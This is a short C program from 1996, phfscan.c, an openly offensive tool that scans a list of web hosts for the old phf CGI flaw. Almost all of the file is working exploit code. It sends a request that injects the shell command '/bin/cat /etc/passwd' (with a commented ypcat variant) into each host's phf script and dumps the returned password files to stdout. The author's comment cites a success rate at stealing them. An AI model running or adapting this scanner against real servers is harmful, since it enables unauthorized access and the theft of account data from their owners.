home *** CD-ROM | disk | FTP | other *** search
- /*
- phfscan.c
- June, 1996
- By Alhambra
- alhambra@infonexus.com
-
- A production of The Guild Corporation, 1996
-
- A quick hack to make scanning for hosts which still have the phf bug.
- Accepts hosts to scan from stdin, and writes whatever it gets back to
- stdout. Plenty of room for optimization, and features that could be
- added include forking off multiple copies for concurrent scans, etc, etc.
- Do it yourself...that's how you learn.
-
- The effectiveness of this program for getting password files isn't
- what it once was...we see only around a 30% success ratio at getting
- /etc/passwd from hosts that would have been vulnerable once upon a time.
- But that's still something...
-
- Use:
- phfscan < infile > outfile
-
- */
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <termios.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <fcntl.h>
- #include <sys/syslog.h>
- #include <sys/param.h>
- #include <sys/times.h>
- #ifdef LINUX
- #include <sys/time.h>
- #endif
- #include <unistd.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <sys/signal.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- int FLAG = 1;
- int Call(int signo)
- {
- FLAG = 0;
- }
-
- main (int argc, char *argv[])
- {
- char host[100], buffer[1024], hosta[1024],FileBuf[8097];
- int outsocket, serv_len, len,X,c,outfd;
- struct hostent *nametocheck;
- struct sockaddr_in serv_addr;
- struct in_addr outgoing;
-
- char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\n";
- /* yp version...use as needed...*/
- /* char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\n";*/
-
- while(fgets(hosta,100,stdin))
- {
- if(hosta[0] == '\0')
- break;
- hosta[strlen(hosta) -1] = '\0';
- write(1,hosta,strlen(hosta)*sizeof(char));
- write(1,"\n",sizeof(char));
- outsocket = socket (AF_INET, SOCK_STREAM, 0);
- memset (&serv_addr, 0, sizeof (serv_addr));
- serv_addr.sin_family = AF_INET;
-
- nametocheck = gethostbyname (hosta);
-
- /* Ugly stuff to get host name into inet_ntoa form */
- (void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],
- sizeof (outgoing.s_addr));
- strcpy (host, inet_ntoa (outgoing));
- serv_addr.sin_addr.s_addr = inet_addr (host);
- serv_addr.sin_port = htons (80);
- signal(SIGALRM,Call);
- FLAG = 1;
-
- alarm(10);
-
- X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
- alarm(0);
-
- if(FLAG == 1 && X==0){
- write(outsocket,PHFMessage,strlen(PHFMessage)*sizeof(char));
- while((X=read(outsocket,FileBuf,8096))!=0)
- write(1,FileBuf,X);
- }
- close (outsocket);
- }
- return 0;
- }
-
-
-
-